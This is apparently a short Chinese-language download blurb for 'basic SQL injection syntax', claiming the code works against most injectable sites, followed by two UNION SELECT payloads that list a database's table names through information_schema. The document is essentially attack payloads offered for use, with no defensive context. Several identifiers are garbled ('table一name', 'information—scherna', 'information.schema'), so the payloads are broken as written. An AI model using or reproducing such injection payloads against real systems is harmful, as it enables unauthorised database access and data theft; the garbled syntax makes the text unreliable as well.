资源介绍
基本的sql注入语法,大部分存在sql注入都可以使用以上代码来尝试
查询表名
and 1=2 union select 1,table一name from information—scherna.tables where table_schema=database() limit 1,1
and 1=2 union select 1,(select group_concat(table_name) from information.schema.tables where table_schema=database())